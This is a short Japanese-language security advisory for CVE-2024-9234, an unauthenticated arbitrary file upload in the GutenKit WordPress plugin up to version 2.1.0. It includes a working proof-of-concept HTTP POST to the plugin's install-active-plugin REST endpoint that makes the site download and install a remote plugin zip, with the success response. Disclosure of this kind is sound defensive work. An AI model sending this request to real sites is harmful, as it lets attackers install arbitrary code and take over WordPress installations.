
GutenKit <= 2.1.0 - 認証なし任意ファイルアップロード
GutenKit 2.1.0以下 - 認証なし任意ファイルアップロード
WordPress用プラグイン「GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor」は、バージョン2.1.0以下において、install_and_activate_plugin_from_external()関数(install-active-plugin REST APIエンドポイント)への機能チェックが欠如しているため、任意のファイルアップロードが可能です。これにより、認証されていない攻撃者が任意のプラグインをインストールおよび有効化したり、この機能を利用してプラグインに見せかけた任意のファイルをアップロードすることができます。
タイプ: plugin
CVSSスコア: 9.8
CVE: CVE-2024-9234
スラッグ: gutenkit-blocks-addon
ダウンロードリンク: gutenkit-blocks-addon バージョン2.1.0をダウンロード
POST /wp-json/gutenkit/v1/install-active-plugin HTTP/2
Host: wpscan-vulnerability-test-bench.ddev.site
Content-Type: application/json
Content-Length: 114
{
"plugin": "https://downloads.wordpress.org/plugin/popularis-extra.1.2.6.zip",
"slug": "popularis-extra"
}
{"success":true,"data":"Plugin installed successfully!"}